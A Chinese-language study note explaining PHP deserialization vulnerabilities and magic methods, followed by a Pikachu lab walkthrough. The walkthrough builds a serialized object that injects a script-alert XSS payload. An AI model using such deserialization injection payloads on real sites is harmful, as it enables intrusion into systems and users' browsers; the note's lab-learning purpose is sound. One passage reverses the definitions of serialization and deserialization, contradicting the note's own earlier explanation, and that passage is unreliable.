php反序列化
PHP反序列化漏洞詳解(萬字分析、由淺入深)_php反序列化漏洞原理-CSDN部落格
PHP反序列化基礎 - Hello CTF (hello-ctf.com)
PHP反序列化漏洞的原理及復現 - FreeBuf網路安全行業門戶
原理:
php程式為了儲存和轉儲物件,提供了序列化的方法。php序列化是為了在程式執行的過程中對物件進行轉儲而產生的。序列化可以將物件轉換成字串,但僅保留物件裡的成員變數,不保留函式方法。
php序列化的函式為serialize
,可以將物件中的成員變數轉換成字串。
反序列化的函式為unserilize
,可以將serialize
生成的字串重新還原為物件中的成員變數。
將使用者可控的資料進行了反序列化,就是PHP反序列化漏洞。
咱們先了解一下序列化和反序列化都是什麼含義
通俗來講
序列化就是把字串去轉換成PHP物件
反序列化就是把php物件轉換成字串
常見的魔術方法
__construct() //類的建構函式,建立物件時觸發
__destruct() //類的解構函式,物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //讀取不可訪問屬性的值時,這裡的不可訪問包含私有屬性或未定義
__set() //在給不可訪問屬性賦值時觸發
__isset() //當對不可訪問屬性呼叫 isset() 或 empty() 時觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__invoke() //當嘗試以呼叫函式的方式呼叫一個物件時觸發
__sleep() //執行serialize()時,先會呼叫這個方法
__wakeup() //執行unserialize()時,先會呼叫這個方法
__toString() //當反序列化後的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫
Pikachu
開啟題目就讓我輸入一個序列化的東西,但是沒有啥原始碼,估計就是概述裡面的那個示例
那我們就分析一下
我們去創造一個S的物件,然後會觸發destruct這個魔術方法,然後列印出test的值,那我們就可以在test的這裡去動手腳了
new S() -> __destruct() -> $this->test
我們開啟php線上這個網站,去序列化一下PHP 線上工具 | 菜鳥工具 (jyshare.com)
我們構造一下payload:
<?php
class S{
function __destruct(){
echo $this->test;
}
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>
然後弄到輸入框試試:
成功了。